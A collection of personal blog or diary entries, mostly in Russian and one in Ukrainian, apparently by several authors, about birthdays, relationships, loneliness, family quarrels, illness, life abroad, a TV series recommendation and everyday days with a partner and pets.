А еще я сплю обычно с приоткрытым ртом и в итоге у меня не смех получился, а хрюканье какое-то. От этого мне стало еще смешнее. И вот я реально лежу, ржу и не сплю больше. Всегда бы так :)

Если бы я спала не одна, меня бы сдали куда-нибудь, а то сами посудите: начала хрюкать, проснулась и начала ржать ахахаха. До сих пор смеюсь!

Твоё почётное звание: депрессивная боящаяся людей ДУХОВНАЯ БОГАТЕЙКА с альфовыми мыслями с аморальным отношением к жизни с нормальной самооценкой. Ого

Завтра мне исполняется двадцать пять. Вы понимаете? Не восемнадцать, не двадцать один, а двадцать пять. Мой маленький юбилей. И еще вчера я безумно переживала из-за возраста. Вспоминала, как мне исполнялось 20 лет, я сидела возле окна и мечтала о том, как через пять лет у меня будет любящий мужчина, прекрасная семья, замечательная работа, стоит только потерпеть. Всего лишь несколько лет. И вот завтра мне 25. Мужчина так и не появился, семья погибла, осталась только мама, работа у меня тоже не предел мечтаний. И все эти мысли вгоняли меня в тоску на протяжении двух месяцев.

А сегодня во мне просто что-то щелкнуло. Я поняла, что мне не уже двадцать пять, а ТОЛЬКО ЛИШЬ двадцать пять. И пусть мои мечты пока скачут как козлик по Альпийским горкам, я примерно представляю, как буду жить дальше. У меня впереди много счастья, я хочу и буду в это верить, есть цели и желания, которые собираюсь осуществить. А ещё у меня самая лучшая мама и самые прекрасные друзья на свете. Это ли не счастье?

Очень часто я жалею, что знаю его настолько хорошо. Ведь что бы не произошло, я уже по голосу, глазам вижу, что он угодил в очередную адовую жесть. Говорит я слишком умная. Хе, я бы так не сказала. Если знаешь человека очень долгое время, то тут не в уме дело, а в знании характера и способностей попадать в различные ситуации. Мне говорят "да ты влюблена в него по уши" на что я отмахиваюсь и говорю "неет, ты что. Он же мне просто как брат". А сама каждое утро просыпаюсь с мыслями, думаю о нем идя утром на работу, думаю при свободной минуте, перед сном и тд. И не хочу каждый раз разводить сопли, что я устала от этого, что это мешает мне строить личную жизнь, что это мешает нормально жить. Даже не жить, а существовать. Ведь, когда я поняла это сложное чувство меня словно автобусом шарахнуло. А он говорил "Почему ты молчала больше года?" Этот пост просто всплеск эмоций и кое-что еще. Не бывает дружбы между мужчиной и женщиной. Всегда есть латентное влечение и кто-то из этих двоих всегда захочет поиметь другого.

Я вчера сделала флюшку, всё хорошо, слава богу. Повторю через 3-6 месяцев, чтоб наверняка. В подробном обследовании мне отказали, типа пока проходить буду-насобираю больше всякой дряни :) такая забота, ё-моё)

Сложно. Невыносимо сложно. Просто сверхсложно писать о том, что тревожит твою душу по-настоящему, а не ребложить няшные картинки.
Страшно. Невыносимо страшно. Просто сверхстрашно, что отчаянный крик твоей души не будет услышан. Или забыт. Или невопринят всерьёз.
И твои опасения верны как никогда. Ведь ты невероятно проницательный человек, личность которого морально окрепла и обрела ценнейшее из умений - самостоятельно принимать решения и делать выводы.

У меня просто гигандские проблемы с общением. Я не могу подойти/написать/заговорить с незнакомым человеком. Я даже иногда со знакомым поздороваться не могу. Не говоря уже о том, чтобы познакомиться. Последние полгода я только и делаю, что сижу в комнате и смотрю сериалы/ читаю книги, выходя только на учебу и иногда в магазин за продуктами. С одноклассниками не общаюсь с самого выпуска(за исключением троих), но на то есть свои причины. 2 недели назад мне предложили встреть 8 марта в компании 4х человек, всех их я хорошо знаю и общаюсь уже около 4х лет. Но с начала года отношение к одному человеку начало меняться не в лучшую сторону. И теперь мысль о том, что можно будет просто уехать домой на 5 дней кажется мне самой лучшей мыслью.

***
Спасибо тем, кто прочитал данный пост.
И двойное - кто нет.

еще у меня в последнее время были какие-то необъяснимые порывы к творчеству. мне понравилось делать что-то своими руками, теперь хочу научиться шить одежду.

Приснился мне сон, что я наглым образом изменила мужу с Леонардо Ди Каприо!О.о Причём с такой страстью и желанием! А потом нас застукали мои родители, нежданно заявившиеся в гости, поставив нас в неловкое положение О.о

У быв.мужа подтвердился туберкулёз. Жаль его мне. А он, конечно, хорош: отказался расставаться на доброй ноте, довёл меня до ненависти к своей персоне, облил говном со своими друзяшками, а теперь.. Просит поддержки и помощи. А как же дружки-дружочки любимые..?

Я, если честно, устала от этих всех сложностей. Я пыталась сбежать от прошлого (которое не прошло), которое затянуло меня в такую паутину каких-то недосказанностей и сложностей, что до сих пор выпутываюсь. Хотела сбежать, а в итоге прибежала туда же. Хорошо, что уже есть мозг и нет терпения.

Знаешь, я бы с удовольствием выпила бы с тобой чашечку кофе или пошла в кино. Но что вы, это слишком, видимо, просто. Сколько можно этих философских разговоров, которые не ведут ни к чему? Сколько можно стратегий, провокаций, которые исходят не от меня. Этих всех сложных дурацких вещей, которые портят абсолютно всё, что есть и чего еще нет.

По итогу я хочу простых, но важных вещей: руку в руке, объятий, поцелуев. Я хочу отношений, которые не будут мне головной болью, тем более на этапе знакомства.

Не понимаю, откуда в современном мужчинах (или все-таки мальчиках?) столько заморочек, обид и т.п. А может, просто мне так "везет".

Надоело.

Слишком много дам меня окружает, через 3 дня будет ровно пол года как я тут работаю и контактирую исключительно с женским коллективом который переживает за мое состояние, делает маленькие подарочки, открыточки, переживают за мои отношения и полностью доверяют мне.Никогда бы не подумала что все будет именно так, но почему бы и нет…Невероятно…

Сижу на работе в ужаснейшем состоянии, температура появилась внезапно, хотя на выходных я не вылазила из квартиры.Ок, переживу я это ночь, но мне снова на работу сегодня к 8ми вечера!Начальство не в настроении, больничный взять не судьба, т.к заболела почти вся смена, у меня уде был опыт просиживания на работе в температурой 38,4, ладно бы если мой рабочий день длился часов 7-8, но 12!Я становлюсь все слабее и слабее физически, но при этом сильнее морально.

Прошло полгода "прекрасной новой жизни".

Подведем итоги?

. Уехала на другой континент, за 10 000 км от семьи, друзей и всего знакомого

. Разочаровалась в идее быть студентом по обмену

. Переосмылила понимание удачи, решив, что все это – иллюзия, которая ничего не стоит на самом деле

. Согласилась на долгие отношения на расстоянии, которые превратились во что-то большее

. Путешествовала: в копилку прибавились Белиз, Гондурас, Мексика

. Улучшила английский язык, познавала культуру через среднестатическую семью

. Провела несколько прекрасных дней, просыпаясь в разных городах

. Убедилась, кем хочу быть и чем хочу заниматься в жизни.

Вывод: Нужно быть только там, где ваше серде, ваши люди и ваш настощий «дом» во всех пониманиях этого слова.

Вывод: Не оставляйте любимых. Своих людей найти очень трудно. Это большая удача.

Вывод: Успех не всегда означает свободу. Хорошие условия не всегда значат уют. Красота не всегда заменяет счастье и утоляет тоску.

В итоге, через 4 месяца, живя в чужой стране, я обнаружила себя с лишним весом, вечно плохим самочувствием, аутсайдером, не желающим ничего делать и совершенно разбитой.

Упс, простите, тут оказалась не моя жизни, можно время повернуть вспять? Хотя, на самом деле, благодарна как никогда. Мне нужен был этот опыт – увидеть, что значит скучно, тупо, не круто даже в стране, которую считают высокоразвитой. Мне нужно было увидеть, насколько прекрасна моя жизнь, как сильно нужно ценить своих людей и как верить в лучшее.

Волшебство все еще кругом нас. Мы творим свои судьбы. Где бы я ни была, я всегда остаюсь собой. И это главное.

3 февраля, день…боже, я не знала, что этот день вообще принесёт столько бед! В общем дело было так, 2 февраля мне позвонила моя мастер, чтобы я взяла дневник практики и другие документы на подпись и печать и отвезла моей бабушке парикмахеру. Ну им нужна подпись парикмахера чп. Хоть ехать далеко, но спорить я не стала, тем более, что не первый раз еду. Я пришла в училище, там была достаточно добрая вахтёрша, которая отдала мне бумаги, потом я впервые решила ехать на 32, так как это был самый удобный маршрут, пошла на остановку, а там моя одногрупница стоит, Оксана. Думаю, она ли это? Хоть я терпеть не могу свою группу, а они меня, мы всегда обмениваемся «любезностями», вот я и подошла, спросила как у неё с дипломом и почему она стоит на остановке. Она ответила, а дальше просто молчала, я поняла, что говорить со мной она не хочет и вскоре совсем отошла от неё. Немного замёрзла, но автобус приехал и я добралась до Беленькой, пришла к бабушке Вале, всё подписали, поговорили чуть-чуть, дядя Валера как всегда хотел подъебать, но инстинктивно я показывала ему, что хуй там плавал и отвалите от меня пожалуйста, вы же взрослый человек. Потом мне дали по литровой банке в сумку и хотели ещё дать 3х литровый сок, но хорошо, что не дали. Я пошла на остановку и поняла, что нести буду с большим трудом так как просидела уже уйму времени дома и тяжестей не таскала. Я позвонила маме и очень попросила встретить меня в училище, так как она не работала и это не далеко. Она отказала, сказала, что спит (хотя она не работала и вскоре не спала). После чего я сказала, что больше ей ни в чём не помогу и на сей раз я не забуду как она опять поворачивается ко мне задом в трудный момент. Сейчас я с ней в ссоре и мы не разговариваем. Пришла я домой, нажаловалась бабушке на маму и на тяжести, она посочувствовала, я пошла переодеваться и увидела, что почти всё что было на подоконнике лежит на полу. А на подоконнике лежит Кудузов. Я просто взорволась, значит я хожу по грязи и холоду, делаю то что всем надо, а они не могут за комнотой присмотреть? Так что ли? Я рыдала от беспомощности, от того что болела спина и плечи, от того что пришлось ещё убирать и надятся, что мои кремы и прочие примочки в порядке, учитывая, что они валяются на полу. Мама вскоре встала и после того как узнала, что случилось рассказывала о своей тяжёлой жизни и привлекала всячески внимание к тому какая она несчастная и какая я слабачка, что не могу три банки домой донести. В общем материнская любовь, понимание на уровне плинтуса. Я даже написала Серёже, что вернулась в ужасном настроении и что если он хочет, то может не приходить, чтобы я не испортила ему настроение. Но он не смог прочесть сообщение так как поехал с учёбы сразу ко мне и не заглянул в телефон, а потом всё было нормально. Он даже сходил купил мне покушать, мы смотрели дерьмовый фильм, потом лежали и он рассказывал упоротые сказки, чем поднадоел, а потом быстро собрался и поехал домой. Мы посмотрели видео, потом ещё одно про Ларина (я его ненавижу кстати) и после видео в котором он очень часто говорил, что женщины не могут справится с чем-то лучше мужчин я высказалась, что это всё херня и что пошли нахер эти мужчины, в смысле, такие как Ларин. Но Серёжа подумал, что он в этом числе и послал меня лично. На что я охуела, потому что я не пыталась его обидеть, я пыталась объяснить, что так не думаю, а потом случилось кое что когда я говорила о чём не знает Серёжа, в общем во время речи скайп повис и я не знала здесь он или нет, когда я хотела задать вопрос, то услышала шум у него в комнате и видимо сказала несуразное выражение к чему он сразу придрался, почувствовав слабое место и начал давить, что он ничего не понял, что это бессмыслица, хотя я перед этим объясняла понятно и я просто устала уже, от всех этих стрессов я просто не хотела спорить, поэтому сказала «Всё, давай. Спокойной ночи.» и отключилась. Потом всё пошло по переписке.

Мы совершенно друг друга не слышим , проблема которая всплыла после была в его реакции на нападение реагировать нападением. Но когда он предложил перерыв я просто рыдала, я не знала, что ему ответить, хотелось молчать, глядя на то что скоро 11 часов и ему нужно идти спать, нужно было дать определённый ответ. Я рыдала от того что мы никогда за 2 с половиной года не брали перерыв и не расставались, (решали расстаться, но мирились почти сразу же). Но это…отказаться я тоже не могла, потому что это ему надо, а у меня из-за его выражений, которые были сказаны вскользь хотелось просто провалится на месте, это было очень обидно. И единственное, что я выдавила из себя это «Ладно. Перерыв.» Я послушала после этого 2 песни, много плакала, но когда поняла, что глаза пекут перестала плакать так сильно. Но слёзы просто сами ручьём бежали. Стало очень одиноко, захотелось спать и я уснула.
Ночью проснулась и увидела, что у меня месячные. Плохое только начинается и эти дни я проведу в одиночестве без человека с которым можно было бы поделится своими горестями, потому что с Ритой я не могу уже обсуждать личные темы. Мы отдалились. Мне хотелось побежать к кому-нибудь после случившегося, но кому это надо? С мамой я в ссоре, с Ритой не хочу делится, Кате это не надо. У меня нет друзей и я вынуждена пережить это всё в одиночестве. 15 защита, 14 день влюблённых и всё это совсем скоро, а меня бросили перед этим обидев несколько раз. Я просто ничтожество и единственное место где мне никто ничего не скажет – это вьюи.

Ну день 5-6 минув із питанням про те, що я захворіла. Не буду уточнювати чим і як, бо я сама поставила собі діагноз, лол. Лікуюсь я антибіотиками, тому кружиться голова, піднімається температура, ломить ноги. Для профілактики мені пригодився би "Панкреатин", але його немає, а про хворобу деталей немає для інших.Це не смертельно і не небезпечно, просто все залежить від того чи воно таки мине.
В архів і інститут рукопису треба платити, а я як начеркала 22 стр. курсової, так вони собі і стоять - більше не хочу чомусь. Що робите ви, коли самотні? Я прибрала на полицях і в тумбі з книгами: завтра винесу 4 пакети сміття, яке набралося в ході прибирання. Правда буде певно 5, бо треба помити холодильник. Ще речі до пралки. Що ще? Нічого особливого. Дивлюсь " Сімпсони" - десертий сезон - 1 і останній. Далі я буду просто преглядати цей справді моральний мультфільм. Якщо у вас є інша думка, то спочатку перегляньте всі серії, друзі.
У мене лишилось 0,26 копійок. Я купила мінеральної води, бо у мене болів живіт, а обезболююче пити з антибіотиками не можна. Мені тут дуже сумно. Взагалі стало сумно. Я стаю дедалі замкнутішою. Чомусь суспільство мені не таке привітне як до вступу в університет. Ще й наступний семестр поганий - стільки важких предметів. Постійно думаєш, якби це лишитись на стипендії та з грошима, яких теж немає.
Хочу додому, а додому 5. Напевно, почну збирати валізу. Не люблю сідання в поїзд, процес цей весь остогид, але хочу опинитися вдома.
Оскільки вже 4 ранку, то, добраніч вам, друзі. Бережіть себе від біди:3

Ребята, пока запал еще свеж, пишу вам об охренительном сериале десятилетия: "Больница Никербокер". Если вы ищете, что посмотреть, если вам нравятся интеллектуальные сериалы, а не 78 сезон уже изъезженной вдоль и поперек "Теории Большого Взрыва", если вы хотите насладиться картинкой, музыкой, диалогами, сюжетом, монтажом и, конечно же, историей, - то это определенно для вас.

Не буду писать классическую рецензию со справкой о сериале и вот этим всем, потому что уже все шаблонные они есть в Интернете, ну, можно просто почитать на "Афише"; просто скажу: это действительно стоит того, чтобы потратить 20 с лишним часов вашей жизни. Здесь прекрасно все: от исторической справки до начищенного кафеля в операционной. Режиссер - гениальнейший Стивен Содерберг - его работа здесь - просто нечто. Это такое 10 из 10, Карл, что я бы серьезно еще раз посмотрела его, чтобы продлить послевкусие.

Сезонов в сериале на данный момент два, как полагается, второй чуть-чуть проседает из-за обилия сюжетных линий, но тем не менее, все развитие идет более чем лаконично, никакого тебе мыла, никаких ненужных драм, все четко, ясно и по делу. Очень не хочется, чтобы сериал продлевался, потому что конец настолько идеальный по сюжету, метафорам и эмоциональному накалу, что можно просто получить сериальный оргазм. Если уж ребятки все-таки решат продолжать клепать гениальность, то я очень надеюсь, что они выберут другую парадигму, реальность, время, место, и будут просто развивать дальше медицинскую тему, не более, я им за это целовать песок буду, чесслово.

А пока - беритесь, просто всеми руками, ногами, пальцами и еще кто чем может за этот сериал и наслаждайтесь. Завершенное произведение массовой культуры, которое может претендовать на что-то большее, чем просто "сериал для прайм-тайма". Очень надеюсь, что вам понравится, так что за рекомендацию и удовольствие - ручаюсь.

Пока была в отпуске много слышала про девушку, которая погибла в Кемерово при пожаре, упав с третьего этажа. Девушка молодая, приехала на сессию и вот… И девушку было жалко, но вроде как это с каким то другим человеком произошло и тебя не касается. Но вчера придя в школу, узнаю, что это наша учитель по танцам. И всё сразу стало другим. В памяти возникли картины в которых она с нашими детьми как курица с цыплятами бегала, вела открытые уроки, и родителям она всем нравилась - красива темноволосая женщина с осанкой человека, который живет танцами. И я понимаю, что в ее 20 с небольшим у нее были грандиозные планы, которые оборвались так внезапно.

Такие вещи меня всегда наталкивают на мысль о том, что нужно жить, а именно быть ЖИВЫМИ сейсас! Потому что реально через пять минут тебя может не стать. И все твои планы, вселенные и нытье просто исчезнут. Есть такая пословица: лучше с песней умирать, чем жить и плакать. А значит есть два варианта развития событий: либо ты начинаешь жить, либо существовать.

На улице почти настоящая весна. Хочется уже обновлять гардероб, получать тюльпаны, сидеть в парке… Я даже не знаю, что особенное было в этом дне, но он мне понравился. Работа, магазин, дом. Морской бой онлайн с другом в 12 ночи)) Потом новая серия МО (да, я это смотрю) с мороженкой и вот сон в 2.30. Впервые за несколько дней я ложусь спать в таком отличном настроении и с таким спокойствием на душе.

И голос говорит «Пиши. Просто пиши, будто не находишь в жизни ничего важнее этого, пиши, будто это пища твоя и кислород. Пиши, будто строки - это все, что осталось на этом свете». И я начинаю писать. Бездарно и неуклюже, как те глупцы, пытающиеся повторить Творцов. Я пишу своим неразборчивым почерком невнятные мысли, и понемногу чувствую, что мир набирает значимости. Будто что-то наполняет сосуд: по капле, медленно, будто вырисовывая каждое слово.

Настоящий творец – он не терпит скуки и быта. Не живет в реальности и не тратит свое время на планирование вещей, таких же неважных, как и все, что реально.

Настоящий творец чувствует, возможно даже больше, чем другие. Он сбегает в свой мир и познает его, не нуждаясь в чужих, разве что кроме тех, которые сам впустил. Творец не мудрый: поддается импульсам, нерациональный, невнимательный. Всеми этими «не» наружу врывается настоящая жизнь: бушуещее море. Он такие, какой была создана сама природа: непримеримый и неугасаемый.

Поэтому, покуда солнце в вашем мире светит, даже если мрак затмил ваше солнце, я прошу вас – творите. Будьте глупцами. Не стремитесь к рациональному и продуманному. Я верю, что в конце жизни человек не будет смотреть на достаток и успех. Он будет помнить любовь, боль, которая напоминала ему на протяжении жизни, что он был жив. Что он все еще жив.

И я обещаю наконец-то начать жить.

К 11 мне нужно было на собеседование. Но я знала, что работать там не стану, ибо не потяну как по времени, так и психологически.. Работа специфическая и в ней есть ответственность за жизни. Я на такое идти не готова. И в край "поехать" не хочу, ибо нервная система держится на волосках. Однако Китти и родители хотели, чтобы я сходила на собеседование. Проснулась я как положено, но поняла, что у меня просто нет сил встать из постели. Написала смс с просьбой о переносе собеседования на пару часов и мнгновенно отрубилась. Ответ мне не пришёл. Около часа позвонил Китти, шёл в поликлинику делать справку, договорились, что позже созвонимся. Времени много, пора вставать. Вылажу из постели и.. ноги меня не держат. И так несколько минут, потом становится легче. Чуть ли не ползу на кухню за кофе. Перезванивает Китти. Решаем, что делать. Так как я не поехала на собеседование, то и к нему, соответственно, тоже. Китти сообщил, что вечером идёт на футбол.. Я сразу спросила, скажет ли он маме, ответил, что нет. Я расстроилась.. Ибо деньги на футбол он возьмёт с денег на курсы, а там уже не хватает приличной суммы- сиги, футбол и по мелочам. Сошлись на том, что он сходит домой за формой и приедет ко мне. Набрала Артуру насчёт Васи. Оказалось, что он не писал. Началось сумасшествие (более конкретно я писала об этом в нижних постах). Китти на меня разозлися, спросил:

-Мне ехать или ждать звонка дяди?

-А смысл ждать? Как хочешь, - я тоже села на коня и сил ругаться не было, - как решишь, наберёшь, - на этом и закончила разговор, продолжив принимать душ.

Китти перезвонил минут через 15, совсем другой, весь мимими:

-Котик, я выезжаю к тебе через 10 минут, - ну он у меня точно шизик.

На улице сегодня штормовое предупреждение, выходить совсем не хотелось.. Хотя нужно было выгулять Милу и сходить на почту. Но у меня же есть Китти! Попросила по телефону, когда ехал ко мне:

-Выгуляешь Милану..?

-А ты что?

-Ну она попросила, чтобы ты её выгулял..

-Ах, вот как! Ну если она попросила..

Поднимаясь ко мне, начал имитировать, что болит нога:

-Ну что ж: раз болит нога, значит и на футбол не поедешь! Давай сюда портфель!, - я одела Милу и они пошли гулять.)

Мне нравится, что когда Китти возвращается с Милой с прогулки, перед тем, как зайти в квартиру, он не сам вытирает ноги об коврик, но и Милашины лапки!) Это так мило выглядит..) Царский мопсье погулял, можно и к трапезе приступить!) Я еле стояла на ногах. Даже не могла нормально обнять Китти, тупо на нём висла. Решила спросить, нужны ли ему щитки, чтобы подарок не был ненужным, всё-таки он крайне специфический и недешёвый, так как я хотела купить Adidas:

-Ты мне лучше своё нормальное состояние подари, - если б только могла..

Покушал, Китти принялся варить мне энергию жизни (кофе), а я делала ему чай. Попутно милый играл с Миланой, драконил её. Мопс злился, очень.) А я убитая физически, но морально счастливая наблюдала за этим всем, не переставая смеясь.) Такое счастье, что он целиком и полностью разделяет мою любовь к животным, души не чает в наших девочках! Время очень быстро летело.. Китти сыграл две партии в нарды, я полежала у него на ручках, Мила рядом. Случился забаваный диалог:

-Ты Дудич.

-Талыко.

-Ну ммм..!! Будущая Дудич, - Дудич-Талыко! Я хочу и свою фамилию оставить…

-Ну только если ДудичЬ.

-Хорошо, ДудичЬ!

В скором времени приехала мамочка, Китти как раз убирал Принцессин туалет… ;) Вышел забавный диалог. Мамочка:

-Ну точно нам пора детьми меняться!, - я с радостью на время совершу обмен.))) Мама же Китти тоже хотел обмен.))

Времени на серию "Во все тяжкие" не было, я предложила посмотреть короткометражку про "Шрека". Мама всё не давала нам нормально посмотреть, заходя в комнату, делясь некоторыми впечатлениями после сегодняшнего дня.

-Мам, Влад скоро уезжает, а ты нам не даёшь нормально мультик посмотреть. Давай потом поговорим?

-А может я хочу с Владом поговорить!, - улыбаясь ответила мамочка.)

Короткометражка была рождественская, семейная, очень добрая. Вкратце: сочельник, у Шрека дома собирается вся его шайка-лейка и начинается трэш. Но ведь эта шайка-лейка не просто его друзья, а семья. Я внимательно наблюдала за реакцией Китти, как в концовке, когда Фиона на руках держала всех своих малышей, а друзья собрались вокруг, готовясь к сказке на ночь от Шрека, как милый улыбался, как смотрел на меня в тот момент, словно говорил: "Я знаю, как ты хочешь, чтобы было так, как в мультике. И у нас так будет", - как он взял меня за руку и с нежностью на меня смотрел. Это было непередаваемо и бесценно.. И совсем скоро закончилось, так как время поджимало и Китти пора было ехать на футбол. Напомнил, что я завтра пообещала ему приготовить..) Хотели Васю сегодня отвезти к вету, но дядя не отвечал. Решили уже завтра, как сказал ветеринар изначально. Планировала подъехать к Полинке-малинке на работу, но ни настроя, когда уезжал Китти, ни сил не было. Решила остаться дома и заняться своими делами, каждой частичкой тела чувствуя одиночество. Про вечер рассказывать нечего: посмотрела серию "Однажды в сказке", прибралась, почитала, попила чай, ощущая пустоту без Китти. Не представляю, как я буду дальше..

Хорошо, когда свои обязанности можно свалить на любимого..)))

Подкупает моих девочек.. Как обычно всё..)))

У всех обед!)

Китти приехал, можно и покушать.) Меня это тоже касается..))

Выгулял, угостил, поиграл.)

Просит прощение..))

Пришли навестить нашего болеющего ангелочка..

Мультики смотрим..))

Когда с непривычки проводишь вечер в одиночестве..)

..и так же ужинаешь..)

Да. Совсем забыла. Пришла рассказать про Сашкино День Рожденье, а в итоге описала полную чушь. Конечно самое важное событие за последнее время стал его День. Провели мы его очень здорово. Было все так по-семейному. Уютно, спокойно. Сначала отметили вдвоем. Пошли в "Якиторию", покушали суши. Побыли вместе. Я была безумно счастлива находиться рядом с ним весь день. И конечно, было приятно, что он захотел отпраздновать только со мной. Это была высшая похвала. Потом поехали к его родителям. Там нас тоже, как и всегда, приняли очень хорошо. Все было душевно. Чувствую уже по-настоящему себя его семьей. И действительно наслаждалась всем днем. Не было ни момента, о котором можно было бы пожелать. Ну за исключением перевернутого мною бокала пива в кафе :D Пыталась научить Сашку правильно нюхать одеколон. Зато есть, что вспомнить) День по-настоящему вышел прекрасным. Даже чем-то напомнил мне мой. В том году отмечали практически так же. Особенно состав. Тоже были вдвоем и в том же месте.